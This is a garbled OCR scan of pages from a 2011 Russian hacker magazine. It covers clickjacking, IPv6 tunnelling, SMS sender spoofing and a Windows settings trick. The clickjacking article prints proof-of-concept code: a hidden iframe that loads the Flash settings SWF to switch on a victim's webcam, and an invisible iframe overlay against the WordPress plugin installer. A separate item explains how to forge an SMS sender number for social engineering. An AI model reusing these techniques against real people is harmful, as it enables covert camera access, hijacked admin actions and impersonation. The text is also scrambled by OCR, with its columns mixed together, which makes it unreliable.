доменным именем. Защитный заголовок потихоньку начинают использовать

разрешает << фреймить>> страницу только сайтам с тем же

том, что настройки приватнести Flash Рlауег'а можно вызывать прямо

все крупные nроекты [тот же WoгdPгess защитился от кликджекинга именно

со страницы, нажав правой кнопкой мыши по SWF-объекту и вы-

с его помощью). Но и у этого подхода есть ограничения. Во-первых, заголовок

брав меню <<Пара метры» или, еще проще, открыв специальный URL

нужно вставлять на каждой странице. Во-вторых, может возникнуть проблема

www. macгomedia . com/su p po г t/docu m ent a t i o n /e n /f l ashp l ayeг/ h e l p/ sett ings manageг02. h tm l . Идея использовать кликджекинг, чтобы по­

с мулыидоменными сайтами, где могут по надобиться ифреймы [текущая

лучить достуn к камере, впервые была реализована еще три года назад

разрешенных сайтов) . И, в-третьих, заголовок легко может порезать прокси,

[демонстрация: bit.ly/s DR5 Qv]. Автору pгoof-of-concept тогда удалось за­

-

пихнуть целую страницу с настройками в ifгame и сделать ее невидимой . Пользователю предлагалось сыграть в примитивную игру, а каждый

клик приближал злоумышленника к активации веб-камеры и микро­ фона. Adobe тогда очень быстро пофиксила возможность использовать

кликджекинг, добавив защитный [так называемый fгamebustingl код в страницу настроек. С тех пор про зту историю все благополучно забыли. Повторить опыт трехлетней давности недавно удалось смыш­

леному студенту из Стэнфорда. Парень подумал: <<Хорошо, Adobe не разрешает вставлять в ifгame страницу с настройками, но почему не пробовать <<заифреймить>> только SWF-файл, который отвечает за настройки Flash Рlауег? >> И черт п одери, это сработало!

реализация

X-FRAME-OPTIONS

не позволяет задать некий белый список

через которую работает пользователь.

КАЖДЫЙ КЛИК ПРИБЛИЖАЛ

ЗЛОУМЫШЛЕННИКА К АКТИВАЦИИ ВЕ&-КАМЕРЫ И МИКРОФОНА ХАКЕР

www.epidemz.net

12 / 155/2011


Угнать клики

АdоЬе~ Flash~

Player Settings Мanager

Website Privacy Settings

F'or "~bsнes

у

necc. to your О

A11vays ask

@ О Always Доступ к веб-камере получен. Вновь.

u hu\·~ 11lrcзd • V\Sttc.-d. \ tc\\ or ltnn •с 1l1c pn\a )' scLtan '$ for зmcro :md 1 or nttcrophot1c.

allow

Q ф AJways deny

Visited weьs· es Privacy WeЬsrtes

f uncti on_refreshSettings(timeout) { window ._ ~etTimeaut (f u n ct i o n () _{_ .... $ C.!tsgtt.i.ngs' ) . empty () , appen_d_( $ ( ' .<i frame allowtransparency="true" src="https: / /www.macromedia.com/support/fiashplayer/sys/settingsmanager2. swf?defaultTab=privacy"></iframe> ')); setSettingsVisibility(); }, timeo_ut);

()

Настройки приватм о сти

даниякак Wiгed и Этот до неприличия простой ход позволил обойти установлен­ ный специалистами

Adobe

Delete all sites

lмoss.org

Flash Player'a

Gizmodo

написали, что

Flash

позволяет злоумыш­

ленникам подсматривать за пользователями.

защитный JavaScгipt-кoд, препятствую­

СТРАШНО?

щий открывать настройки в ifгame. Подгруженный с удаленного сервера SWF-файл позволил управлять локальными настройками

Конечно, клик джекинг, не смотря на все ухищрения , едва ли может

веб-камеры и микрофона. Интересно , сколько человек до этого

сравниться по опасности с

момента догадались сде лать точно так же, но молчали? : ) Демон­

прямую касае тся пользоват еля (и, по сути, является д о полнитель­

страция эксплуатации уязвимос ти дост упна в благе автора

(www.

SQLi

или, скажем,

XSS.

Однако он на­

ным инструме нтом к социальной инженерии). Уже по одной только

fe г oss.oгg/webcam - spy), а сам код РоС'а, который заточен под

этой причине непло хо бы понимать, как принципиально ус тро ены

Мас'овские версии Fiгefox и Safaгi, выложен на GitHub (github.com / feгoss/we b cam - spy ). Чтобы заточить его под другие ОС и браузеры,

та кие атаки. Кстати, меры по защите от

нужно лишь « поиграть » с параметрами

та к и самими поль зователями. Расширение для FiгeFox NoScгipt

z-index

и

opacity SWF-файла,

clickjacking'a

могут быть

предприняты как разработчиками веб-приложений (читай врезку),

который находится в ifгame. Забавно, что автор решился предать

( addons . moz ill a . oгg /r u /fire fox/addon/nosc r ipt ) уже давно имеет

огласке уязвимость лишь спустя несколько недель с момента,

защиту от подобного вида атак. Опция

когда отрапортовал об ошибке в

нажатиям по невидимым элементам, которые потенциально могут

Adobe . Ребята

не очень торопились

ClearCiick

препятс твует

исправлять ситуацию. Зато компания быстро пофиксила ба г (это

быть подсунуты злоумышленником. Увы, для других браузеров по­

произошло лишь в конце октября ), как только такие известные из-

добного расширения я не нашел.

·

WordPress ~·"'~ 1 ack Exploit vl ~----=--::-

I

i

-

:: .

White Hat Secur1ties

t

'

.

.

•+

--------The hidden lframe contains : http·/lwordpresslwp-adminlplug!n-tnstall.php?tab-plug!n-lnformatlon&r

-----

ТВ iframe=tшe&wjdф-640&hejght-58l Author:

ChnЯian

8e1rtr!s

Last Updated: 1135 deys ogo Requlres WordPress Verslon : 2 .5 or higher

#outerdiv { width: 1ООрх ; height:ЗOpx; overflow:hidden; position:absolute; top:113px; left:335px; z-index:10; opacity:O;} #inneriframe { position:absolute; top:-40px; left:-10px; width:200px; height :1 00px; border: поnе ;} <div id="outerdiv"> <iframe id="inneriframe" scrolling="no" src=" http://wordpress/wp-admin/plugin-install.php..."> </iframe> </div> Кликджекинг- сплоит для

ХАКЕР

WordPress

0~9

12/155/2011

www.epidemz.net


PCWNE

Капитан Улитка

КАК ПОЛУЧИТЬ IPV6-AДPEC И ЗАЧЕМ ЭТО НУЖНО? То, о чем давно говорили, •

Сервисдля

проверки

1Pv6: jpv6-test.com/ speedtest

1Рv4-адресов закончились. Но кого это волнует? Тебя? Меня?

Да едва ли. Большинству

Провайдеры,

нативно поддерживающие

пользователей нет никакого

1Pv6: bjt.ly/rHoc4B

дела, как там обстоят дела со

свободными 1Рv4-адресами и

Классная

инструкция по

настройке SixXS туннеля для всей локальной сети:

когда провайдеры перейдут на Скажу больше: последнее

bjt.ly/vOIOAC

Увеличенная емкость адресов за счет использования 128-битного адреса

[2001 :5c0:1400:a::68dl вместо 32-битного [65.148.151.1241- важнейшая особенность нового 1Рv6-протокола. Идея простая: 1Рv6-адресов с лихвой хватит всем, и уже никогда не придется их экономить. Но если уж честно,

то Интернетотлично работает и сейчас, даже при наличии проблемы со свободными 1Рv4-адресами . Единственное, что получат пользователи с переходом на

NAT

1Pv6,- это

реальный IР-адрес, который позволяет забыть

как страшный сон. Но этот бонус можно получить и сейчас, как и не­

которые другие плюшечки. Остановимся на этом подробнее.

1.

Статический реальный адрес для всех устройств, даже если ты работаешь через

NAT, благодаря

NAT. Провайдеры активно используюттехнологию

которой 1Рv4-адреса еще не закончились . На деле это

означает, что за одним белым [реальнымiiР-адресом могутстоять

сотни и тысячи устройств, которым выдан внутренний [серый! айпиш­

в ближайшее время не случится.

Однако

се и час ЗАЧЕМ?

случилось: свободные блокии

1Pv6.

зде'-'сь и

ник. Работа через

1Pv6 можно использовать

NAT дает о себе знать: ты

не можешь простым путем

сделать сервис, доступный извне, а функционал многих приложений

уже сейчас и получить от этого

сильно страдает. Чтобы переслать файл вiCQ, один из участников обме­

не только ощущение гиковости,

Вместо того чтобы платить провайдеру за реальный айпишник [если это возможно!, ты можешь получить его бесплатно в 1Pv6 уже сейчас.

на обязательно должен иметь белый IР-адрес, и это лишь один пример .

но и вполне осязаемую выгоду.

Такую услугу, к примеру, предоставляюттуннельные брокеры, которые Интеграция в

занимаются пробрасом па кетов из 1Pv4 в1Рv6 и обратно [подробнее о способах подключения 1Pv6 читай ниже! . В этом случае ты получаешь

Windows

~ Запускать ~Torrent вместе с Windows [{) Запускать свернуто Оnределить свёртывание в настройках

! Ассоциировать в торрент~файлам;t) ~ Автоnроверка ассо циаций Установить !Рvб/Т eredo

не только один реальный адрес, а целую подсеть

1Pv6. Таким образом,

для любого компьютера или устройства, к которым нужен доступ извне,

теперь можно выдать отдельный реальный 1Рv6-адрес и не заниматься

пробрасом портов на рауте ре. Причем выделенный тебе диапазон

1Pv6

привязывается к твоему аккаунту, поэтому даже при смене провайдера uTorreпt позволяет включить

Teredo прямо

из своих настроек

[и соответственного 1Pv4-aдpecal все твои настройки сохранятся.

ХАКЕР

050

www.epidemz.net

12/155/2011


1Pv6:

здесь и сейчас

Connection Status Т unnellnformation

Virtual Tunneling Adapteг.

Подкпючение по локально й сети

Tunnel Mode:

Oepending on your envi ronmen~ you will connect to the gogoSERVER either anonymously or with authentication credentials. Маге options are availaьt e in the Advanced tab.

4

IPW-in-UDP-1Pv4 Tunnel (NAT Traversal) б2.148.151123

Local Endpoint Addreиes:

2001 :05с0 :1400: 000а :ОООО :ОООО:ОООО :00с7

Remote Endpoint Addreиes:

anonymous.freenetб .net

Server Address: •

81.171.72.12 2001 :05с0 :1400:000а:ОООО:ОООО:ОООО:00сб

Seгver Address:

anon - amsterdam .freenetб . net

@ Connect Anonymously е> Со nл Ю

Using the Following Credentials

Мы за NАТ ' ом .

гlst-e-pa-n-,.il:yi-:n@ --=-gm -----: ail.com Р-:

111

чтобы создать туннель

---~

~········

ord:

gogoCLIENT использует NAT Tгaveгsal,

Wh2n

Ьoth

protocots arl! available, your Ьrowser usl!s

l aunch the gogoCUENT servi ce at system startup

IPvб Yow ntemet connection iвiPvб са раЬiе

2001:Sc0: 1400:a::68d gogoб

Inc.

1!1 Restore Default Values...

Address type is

Global Unicast 1 Native

IPvб

Your rternet connectюn is 1Pv4 capitble

62.148.151.123 Klgelecs

Chec!c for update

[

AJ>pl

=:J

1

Close Наш

1Pv6- и

IPv~-aдpeca. Как видишь, трафик идет чере з Канаду

Клиентская часть туннельного брокера

Правда , пока 1Рv6-пиров не очень много, но и х количество посто янн о

2.

Возможность проброситьлюбой трафик через 1Рv6 -туннель.

растет. Поддержкунового пр ото кола включили пока не в с етрекеры, но thepiгatebay.oгg и ipv6 .n nm-club . гu -в этом сnиске .

Если ты на х одишься в корпоративной сети , где режется какой-то

определенный тип трафика (например, BitТoггentl, но 1Pv6 при этом

4.

проп ускаетс я , то этим гре х не воспользоваться . Вычленить неже­

держивать соединение а ктивным на протя ж ении долгого времени

лательный трафик в такой ситуации сложно, как бы этого ни хотел

( << ни единого разрыва >> , ага! . Например, чтобы не подключать с я

админ . Суди сам. Внутри

заново к игровому серверу, где изящно написанный бот без у стали

нутый »

IP лежит UOP, внутри UOP лежит « завер­

1Pv6, в 1Рv6лежатТСР-

<< прокачивает>> персонажа

или UОР-пакеты, и уже в них может

:1. Некоторые провайдеры по разным

на х одиться тот самый нежелательный трафик. Каждый туннельный

причинам делают принудительный дисконнект ра з в сутки. Избе­

брокер, как мы позже выясним, используетсвой с по соб « обертыв а­

жать необходи мости в переподключении к с ерверам позволяюле

ния >> 1Рv6-пакетов в 1Pv4 (точнее , UOPv41. Чтобы иметь возможность

же самые брокерные туннели. В то время как проис х одит перепод­

вырезать нежелательный трафик, ПО должно знать каждый из них .

ключение к провайдеру, 1Рv6-соединение остается активным .

А что если завтра выйдет новый метод инкапсуляции К тому же, пакет

3.

До лговременные соединения . Для не к оторы х клиентов важно nод­

1Pv6 может резаться на

1Pv6-to-1Pv4? ВАРИАНТЫ ПОДКЛЮЧЕНИЯ

кусочки и передаваться

в разных UОРv4-пакетах: чтобы обработать эту ситуацию, филь­

Итак, главный вопрос- как начать и с пользовать

трующему ПО необходимо иметь большой буфер, чтобы склеивать

л у чший расклад, но , увы , нереальны й - это когда 1Рv6-адре с вы­

оригинальные пакеты для анализа.

даст тебе сам провайдер . В этом случа е с и стем у, во-первы х, проще

Более высокая скорость скачиванияторрентов . Этот довод может по­

в с его настроить, во-вторы х, это гарантирует минимальный пинг (нет

казаться несущественным, но он особенно затрагиваетнас-обычных

по с редников , не выполняются дополнительные о перации по << обе­

пользователей. Как известно, tоггеnt-клиенты, которые заходятся

ртыванию >> данных], и , в-третьи х, он банально надежнее других . Ты

1Pv6?

Самый

за NАТ'ом , могут << общаться>>только с теми клиентами, у которых

про сто nодключаешься к провайдеру, и все- так же, как и в случае

есть белый IР-адрес (и позтому имеющими возможность принимать подключения!. П олучив 1Рv6-адрес, любой клиент можетстат ь п олн о­

с

ценным участником обмена и н ачать взаимодействовать с большим

идет на десятки во всем мире . На это есть много причин. Н ормальной

количеством сидеров и личеров . Тут надо понимать, что количество

поддержки нового протокола нет не только во многом клиентском

пользователей, которые работают за NАТ'ом, с каждым днем будет

оборудовании , но и даже в сер верном. Даже если производитель де­

увеличиваться-таким образом провайдеры решаютпроблемусво­

кларирует 1Рv6-совместимость, на практике она может работать очень

1Pv4. Увы,

провайдер, предоставляющий 1Рv6-адрес, в России, да и

в целом по миру, - явление практически фантастическое. Счет пока

бодны х IР - адресов (а вовсе не путем перехода на 1Pv6, как зто может

косо . Провайдеры боятся и умеют с читать деньги . Платить за

по казаться на первый взгляд! . Большинство популярных tоггеnt­

услугу клиенты не готовы (им это на фиг не надо] , а перевод всего

клиентов уже поддерживают 1Pv6: uToггent, Azuгeus, Т гansmission.

оборудования и персонала обойдутс я в астрономическую сумму . Вот

1Pv6

ка к

Найти клиента в 1Pv6 возможно по ОНТ (работает не во всех клиента х ! ,

и продолжают провайдеры подсаживать клиентов на

но лучше вс его, если новый протокол поддерживаеттрекер. В про­

ститься в лимит 1Рv4-адресов , и так, бессnорно , будет продолжаться

NAT,

чтобы уме­

токол ответа трекера добавлено нов ое поле реегs6, где в бинарном

в ближайшие годы. Нам же остается использовать альтернативные

виде передается список адресов, по 18 байт (16-адрес, 2-nopтl .

с по с обы получения заветного

ХАКЕР

1Pv6.

И х несколько.

051

12/155/20 11

www.epidemz.net


PCZONE

ТУННЕЛЬНЫЕ БРОКЕРЫ

0

Ва ш nубличный 1Pv4 адрес, вероятно ,

о

Ва ш nубличный 1Pv6 адрес, вероятно, 2001 :5c0:1400:a::68d Вероятно, ваш 1Pv6 nроваидер: freenet6

о

Всемионьtй день !М сосrомтся

•-

62.148.151.123

8-ro ~ 2011

года . У вас не ожидается никаких пробпем с текущим

браузером в да нном месте ~ В аш браузер бП<ЖМрует адреса nроверок. М ы поnробуе м npoвecm альтернативные nроверки, но они, возможно, не оnределят праеипыю ваш

Gogonet/Freenet6 gogonet.gogo6.com Один из самы х достуnных туннельных брокеров, nредлагающий различные типы туннелей, в том числе проприетарный протокол

для обхода

NAT.

Подключение осуществляется через удобный

GUI-

клиент, при этом nредоставляется/56-nодсеть для други х у стройств в сети. Проверив полученный

1Pv6,

становится ясно, что серверы

находятся в Канаде, а зто непременно создает задержки . Однако

IP адрес. Это может сказа ться на качестве на ших советов .

8

Ваш браузер забпоtаtров а н httpJ/ds.IJ6ns .test-1 pv6. com'ipl?ca11Ьack.=?

о

Поэдравпяемl У вас работа ет и 1Pv4, и 1Pv6 дoctyn. В случае коrда сайт доауnен оо lM , ваш браузер без nробnем попучит к нему достуn. Ваш браузер nредnоч1пает 1Рv6 коrда есть выбор между 1Pv4 и 1Pv6 (это

0

ожидае мое nоведение).

Baw DNS сервер (ВОЗМОJКНО, nредоставnяемый вашим nроваЙдером) имеет достуn к 1Pv6 интернету.

1Q/ 1Q 1Q/ 1Q

стабильность и готовность 1Pv4 соединения, когда саят испоnьзует и 1Pv4, и fр...в стабильность и rотоеностъ

1Pv6 соединеН11Я, коrда саИт исnогьзует тоnько lM

Просмотреть оезуnьтаты тестироваttИа

других точек в х ода нет .

Тщательнаяпроверка совместимости с 1Рv6-сетями

Hurricane Electric 1Pv6 http :Uwww.tu nne 1Ьго ker.net Отличный брокер, предоставляющий /48-nодсеть 1Рv6-адре с ов . Плюс в том , чт о с ерви с имеет два десятка разбросанных

no

миру серверов

нологию

Teredo.

Протокол передает 1Рv6-пакеты ч е рез с ети

1Pv4 путем

их инкапсуляции в UОР-дейтаграммы- в частности , через устройства ,

[ США , Велик о британия, Германия, Франция , Нидерланды, Гонконг,

использующие

Канада! , а значит, можно выбрать туннельный с ервер с минимальной

проста в настройке, причем не только под

для себя задержкой. Минус в том , что брокер поддерживает только

Если ты используешь uToггent, то можешь прямо в настройка х про­

NAT.

Те х нология была разработана в

Microsoft и очень Windows, но и niх-системы .

статические туннели, для создания которых тебе обязательно нужен

граммы найти кнопку << lnstaii1Pv6/Teredo>> [разработчики uTorгent не

реальный

только реализовали поддержку

IP.

1Pv6,

но и всячески продвигают исполь­

зование нового протокола!. Поднять Тегеdо << ручками>> несложно­

всего двумя командами !речь идет о Vista/Windows 71:

SixXS www.sixxs.net АУIУА-т у ннель, предлагаемый этим брокером, nожалуй , один

j,pvб j.пsti3JJ.

и з наиболее достойных вариантов подключения к

netsh int

1Pv6. Сервис

..

ipvб

set teredo client

может похвастаться разными типами туннелей [необязательно

статических! и более

40

Под никсами же надо поднять одну из альтернативных [и, как пра­ Teredo [например , Miгedol:

географически разбросанными серверами

для подключения. Но б удь готов к трудностям: все аккаунты nро х одят

вило, открытых) реализаций пр ото кола

жестк у ю м о дерацию [желательно даже указывать свой аккаунт в

Linkedlnl, что может занять некоторое << 10 шагов к 1Pv6 >> [ Ьit . ly/snYfdm l.

время . Рекомендую прочитать

sudo apt-get install miredo

ЧТО НАДО ЗНАТЬ ОБ

6to4

IPV6

Если у тебя есть белый 1Рv4-адрес, то механизм

з а служивающий внимания вариант для

6to4- определенно приобщения к 1Pv6. В двух

ч е рта х расскажу, в чем суть. Для того чтобы 6tо4-хосты могли отправ­

1.

1Рv6-это , прежде всего, огромное 128-битное адресное про­

лять пакеты в другие 1Рv6-сети, были созданы 6tо4-ретрансляторы,

странство.1Рv6-адрес состоит из восьми групп шестнадцатеричных

которые подключены как к 1Рv4-сети, так и к 1Рv6-сети. Когда 6tо4-

си м волов: например,

2001 :Odb8:11 a3:09d7:1f34 :8a2e:07a0:765d. 0000, то их можно заменить двоеточием. 2001 :Odb8:0000:0000:0000:0000:ae21 :ad12 записы­ вается как 2001:db8::ae21:ad12. Если захочешь nерейти на сайт, Если одна или более группы равны

х осту нужно отправить 1Рv6-пакет, он отправляет его по так назы­ ваемому anycast-aдpecy

6to4,

192.88.99.1.

Ретранслятор, получив данные

извлекает 1Рv6-пакет и отправляет его по 1Рv6-сети. Звучит

довольно просто, использовать подход еще проще . Ты поднимаешь

используя 1Рv6-адрес , то его необходимо взять в квадратные

6tо4-интерфейс и настраиваешь адрес в формате

скобки: http:/1[2001 :db8::ae21 :ad12]. Запомнить такой адрес не­

где

<<xx.yy.zz.tt>>- это

<<2002:xxyy:zztt>>,

реально, поэтому в 1Рv6-сетях еще большее значение будут иметь

1Рv4-адрес, записанный в шестнадцатеричном

виде, а маршрутизацию настраиваешь так, чтобы все исходящие пакеты <<уходили>> на

Вот и вся настройка. Плюс

192.88. 99.1.

том, что связь между двумя пользователями

6to4

6to4

DNS-cepвepы. в

осуществляется не

2.

Из-за того, что в наличии теперь есть такое адресное nростран­

через туннельный сервер, а напрямую, с нулевой дополнительной

ство,

задержкой, при этом самый близкий шлюз выбирается автомати­

использовалось в1Рv4 . Маски теперь задаются только /ргеfiх"ами

1Pv6 уходит от привычного понятия

подсетей, которое

чески. Не нужно регистрироваться в каких-то системах, а и без того

ICIDR/VLSM). В 1Pv6 каждая подсеть-это/64. Цель-уйти от раз­

несложный процесс конфигурирования становится еще проще за счет

личного размера подсетей . 1Рv6/64-подсети хватит для того, что­

автоматических генераторов настроек . Но есть важный момент . Если

бы nо крыть все устройства, которые только могут бытьдоступны в

у тебя динамический IР-адрес, то при его смене будет меняться и

условиях физической доступности. Для домашних пользователей

1Pv6.

Поэтому удобнее всего

6to4

выдается подсеть/48.

исnользовать со <<статикоЙ >> . Правда,

эта услуга обычно предоставляется провайдером на платной основе,

и мне, к примеру, обходится в

200

рублей в месяц.

3.

Никакого NАТ"а. С отменой пресловутой трансляции сетевых адресов уйдут проблемы в работе многих сетевых протоколов, ко­

Teredo

торые используютсядля передачи голоса

Многие пользователи не имеют не только статического, но и вообще

Р2р-решениях. В большинстве случаев можно забыть о форвар­

белого IР-адреса, постоянно работая через

динге портов .

зовать

6to4 уже

NAT.

В этом случае исполь­

[VoiPI, в сетевых играх,

не выйдет- вместо этого можно задействовать тех-

ХАКЕР

052

www.epidemz.net

12/155/2011


1Pv6: здесь

&

Пиры

Рейтинги

IР-адрес

93.100.186.155.pool.sknt.ru [uTP] 178.255.14835 2а00 :2000 :4008 :3 :224 : 7eff:fE01 :ее84 2001:250:1401:3120:59d1:58a:801d:c095 m94-192 -124-184.zoneб.bethere.co.uk

и сейчас

Скорость

Клиент

Флаги

1J Т orrent 2.2

DHP D D UD D

libTorrent 0.12.6 BitТ ornado/031 1-1 Т orrent 1.8.5 BitТ orrent SDK 2.0

%

Приём

100.0 100.0 100.0 45.7 100.0

703.8 kB/ s 3613 kB/ s 78.8 kB/ s 12.0 kB/ s 0.7 kB/ s

1Рv6-пиры в торрентах-не редкость

Не надо никаки х регистраций: все работает, что называется,

трудностей. Но создатели fгeenet6, предлагаемых компанией

gogo6,

<< ИЗ коробки » . Все клиенты, подключенные к Сети аналогичным

максимально упростили этот nроцесс. Брокер предлагает несколько

о бра зо м , с оединяются друг с другом напрямую ITeгedo лишь по­ м о га ет об ойти ограничения NAT) . В таком случае практически от­

типов туннелей: 1Pv6-in-1Pv4 в нативном режиме lв случае прямого подключения к Сети, с реальным IP), 1Pv6-in-1Pv4 в режиме NAT

сут ствуют п о тери в с корости. Чего не кажешь про маршрутизацию

Тгаvегsаliтакже называется

трафика между Тегеdо и нативным

использоваться, если у тебя серый IP, и даже 1Pv4-iп-1Pv 6lнa случай, если нужно обратиться к 1Рv4-ресурсам, имея только 1Рv6-адрес).

1Pv6: так,

данные легко могут

идти через шлюзы, расположенные в США !шлюз по умолчанию

1Pv6-in-UDP-is- 1Pv4), который будет

teгedo.гemlab.net). Это не единственный минус. Если в случае

За выбор тиnа туннеля отвечает специальный nротокол TSP ITuппe l Setup Pгotocol) . Несмотря на сложные аббревиатуры , сервис nред­

с

лагает невероятно удобный клиент для подключения . Под виндай в с я

м о жно изменить, в Ро с сии наиболее эффективно использовать

6to4

ты мог nолучить целый диаnазон 1Рv6-адресов , которые

далее раздать другим устройствам локалки, то в случае с Тегеdо

настройка сводится к двум тривиальным действиям:

выдается только один адрес . Придется забыть даже о постоян­

1.

Скачиваем и устанавливаем gogoCLIENT lgogonet.gog o6.c om/ pгof il e/gogoCL I ENT).

2.

Запускаем, оставляем все настройки по умолчанию и нажимаем

н о м адресе: Тегеdо-адреса каждый раз генерируются исходя из теку щего айпишника и исnользуемого UDР-порта, т. е. являются динамическими . Но х уже всего, что Тегеdо может обойти не каж­

NAT. Если после настройки не открывается проверочный сайт ipv6.google.com, nервым делом нужно набрать в консоли <<netsh int ipv6 show teгedo » . Сообщение «Ошибка : клиент за симметричным NAT >> означает, что Тегеdо ты исnользовать не сможешь. В таком

«Coпnect>> .

дый

случае остается nоследний lно от этого вовсе не самый худший)

Программа должна установить соединение, работосnособность которого быстро проверяется, если в браузере попытаться открыть

какой-нибудь 1Pv6-pecypc !наnример, ipv6.goog le.com ). Все должно работать. Единственное- в файрволе может nотребоваться откры т ь исходящий порт

вариант- использовать туннельного брокера.

Без конфигурирования клиент устанавливает

3653.

так называемый анонимный туннель . Его ограничение в том, что при Туннельный брокер

смене 1Рv4-адреса nоменяется и выданный тебе адрес

Это, nожалуй , наиболее универсальный вариант, который подойдет

<<nри вязать >> к себе статические 1Рv6-адреса , необходимо:

как п ользователям с белым 1Рv4-адресом , так и работающим без

1.

lbit .ly/vRZwXB ), причем

каждый из них может иметь не с колько шлюзов в разных странах мира. Выбирать лучше всего ближайший, чтобы минимизировать

Чтобы

Зарегистрировать аккаунт lgogonet.gogo6 . com / page/fгee n et6гegistгatioп ), по которому fгeenet6 будеттебя узнавать.

н е го . Ту нн е льный сервис, как несложно догадаться, предоставля-

ет ту ннель в 1Рv 6-сеть. И х довольно много

1Pv6.

2.

Переключить режим с <<ConпectAnonymously>> на

Following Cгedentials >> , указав логин 3. Нажать << Connect >>.

<< Connect Using the

и па роль.

задержки . Это предмет для экспериментов с утилитами piпg и tгaceгoute, а также сервисов вроде

igv6-test .com . Помни:

задержка

Проверить выданный тебе 1Рv6-адрес, а заодно- работоспособ­

до туннеля будет добавляться к времени передачи каждого 1Рv6-

ность нового протокола

no

пакета, nоэтому крайне важным условием для комфортной работы

test-ipv6 .com. Запомни

адрес- теперь он закреnлен за тобой.

является минимальное значение пинга. Туннельный брокер, как

fгeenet6 даже выдает реверс-дне luseгname.bгokeг.fгeenet6 . net). При

правило , выдает не один, а целый диапазон 1Рv6-адресов . Важно ,

подключении стоит учитывать, что аутентификация осуществляется с

что они не меняются при смене твоего 1Рv4-адреса и привязываются

nередачей nа ролей в plain-text'e. Чтобы обезопасить себя, на вкладке Advanced рекомендуется выбрать метод аутентификации PASS DSS 3D ES1 или Digest MD5.

к твоему аккаунту . По этой nричине большинство сервисов требует

регистрацию la некоторые и вовсе тщательнейшим образом подхо­

различным nараметрам поможет сайт

дят к проверке данных, указанных nри регистрации). Правда, новый адрес придется сообщать, но это несложно делать автоматически.

ТЫ В

IPV6

При общей схожести применяемого nодхода туннельные брокеры

fгeenet6- безусловно, самый простой сnособ получить 1Рv6-адрес,

используют различные методы << обертки>>

но не всегда самый лучший . Д ругие туннельные брокеры , обзор

1Pv6

в

UDPv4

и потому

предлагают различные варианты настройки подключения. Одним из

которых мы приводим во врезке, могут предложить более высо­

наиболее простых !что называется, << для старта>> ) является gogo6/ Fгeenet6 lgogonet .gogo6 .com ), о котором мы поговорим ниже .

кую скорость и меньшие задержки за счет большого количества

НАСТРОЙКАТУННЕЛЯ

в х одных серверов, размещенных в ближайших стр анах !наnример, Швеции). Как видишь, новый протокол на домашнем компьютере не требует какой-то немыслимо сложной настройки. И как мне

Практическая часть статьи, казалось бы, должна быть самой

кажется, предлагает неnлохие бонусы за

сложной, однако на деле настройка

тебя на настройку . :::и:

ХАКЕР

1Pv6,

как nравило, не вызывает

минут, которые уйдут у

053

12/155/2011

www.epidemz.net


ВЗЛОМ/ EASY НАСК

ОТПРАВИТЬ

Алексей

SMS С

«GreenDog » Тюри н, Digital Security ltwitter.com/a ntyurinl

ПРОИЗВОЛЬНОГО НОМЕРА

ii'J.М!Ьi ъчь-

nоявляется возможность от править до

25

SМS-сооб щ ений бесплатно.

Социальная инженерия - стра ш ное дело! Вместо того чтобы напря­

Н о самое главное, что в настройках [меню Ргеfегепсеs

гаться, преодолевая файерволы и

можно задать произвольный и д е нти фикатор или номер отправителя

з ать из

IDS, искать уязвимости

и выпол­

DMZ, пло х им парням куда проще послать приметноеписьмо PDF какому-нибудь секретарю или зав х озу, который

со зловредным

7 Sende г 10)

сообщений. Любой! Когда жертва nолучит сообщение , мобильник автоматически n одставит вместо н омера отnравителя соответствую ­

безтенисомненийоткроетаттач.Повыситьвероятностыог~что

щее имя из записной книжки . Е сли сервис nридется тебе

пользователь ничего не заподозрит и совершит нужное действие, по­

ты сможе шь оформить и nлатн ую nодnиску, nри этом отnравка одного

no душе,

то

может SМS-сообщение, пр ис л анное со знакомого номера или иден­

SMS

тификатора . В Сети мно г о всевозможных сервисов , позволяющих

предлагает ряд n олезных сер висов, в том числе редирект почты на

бесплатно отправлять

SMS.

SMS. Если

поискать, то можно обнаружить и

будет обходиться все г о в

1 рубль.

Стоит отметить , что ресурс

Это может быть очень nолезно, если какая-то система монито­

такие ресурсы , которые позволяют « подделывать » адрес отправите­

ринга умеет предупреждать о критически х с обытиях по

ля. Причем в такой подделке нет ничего криминального (по крайней мере по версии создателей таких сервисов). Здесь как в электронной почте- что хочешь, то и пиши . :) О д ин из таких сервисов - Smsglobal [www.smsgloba l.com). Заходишь, быстро регистрируешься- и у тебя

какой-то нелепой причине до си х пор не научилась отправлять пред­

СОБРАТЬ ВСЕ НАСТРОЙКИ

WINDOWS

В ОДНОМ МЕСТЕ

уnреждения в виде

7/2008,

и еще больше с теми, кто их

админит, мне бы хоте л ось поделиться интересной находкой, а т очнее маленьким тр юком, позволяющим собрать в одном месте все на­

1. 2.

OQ

ji;;.-Desl:top~llgoods

Уnорi!ДОчиn. •

*\1

нц.. нме А.Н

Рt6оч141lсто

~ AiroшNчк.:oe~«npoю•~e~rwocт-AМo:o•lllllllчrrкжtiOC~ntlle.t

AI!'OИny<~

J2

DfopЬox

!d 8VIIOЧtltllt 111111 01'!tiii0Чettltt IITO:wJ'I)'CUAflll piSIIHЧ- HOCM1VIf:ii мустроЙСТI !d Нктроtiu l'llpllol~ no yt.IOJI'41HMIOAitJI носктемА IU\6! устройстJ

AITQИ~(I,:

И,6р•"-

СВ Ьoot.in

Пр1t110жtн11е

Авtоэаnуск {3)

Atтc).lny< ..

• д.Аминистрирование (9) /W.o1011HtтpMp0111111t

....~

I:JI Дo.,.._

f& Доw.WКМГР)

Д описываем в конец имени:

Иw ..

Бнб/lмотки

в

,J> ..,.~

Создаем паnку с любым именем в любом месте.

если все это тебя не интер ес ует,

что- ни будь нежное от имени « любимого пушистика».

ИJ06pьw.r

с тройки ОС.

по

то можно просто удивить свою девуш ку, отправив ей на мобильник

З•rрукм

С теми, кто сидит под Windows

SMS. Впрочем,

e-mail, но

~- Кoмnwore,

A/JI,JIIHIICl'pllpOIIHIIt

~ Иst.it 11tt1Иt rpynno10Й I"'IIIHТМ~M

А,ам11ннстриро11ние

~ Нкfройu iSCSI• HHHЦIIIТOjU

дAмHHitCТpИfiO'IHHt

@ Н.строilц IКТOЧHIIKOIAIHIII.al (008Q

д.,ами!КfJЖро.~••е

~ /lpo<I.'Oтp Ж}'Рtш\01 co6wn~ii

дN.I~~t~llcтpHpotillltt

\'t Пpoo.lorp MIWIWIIIolll служб

~ltCТpИpoNIIHt

~ PICПMUHмtlwnoi\НtкiUIJfA'Ч ~ Yn•кo•u

rtotoro o6opy,-otn.IUI

д.tминllc:rpllpoti"IW! AдJ.IиllltCТpMpotiHI!t

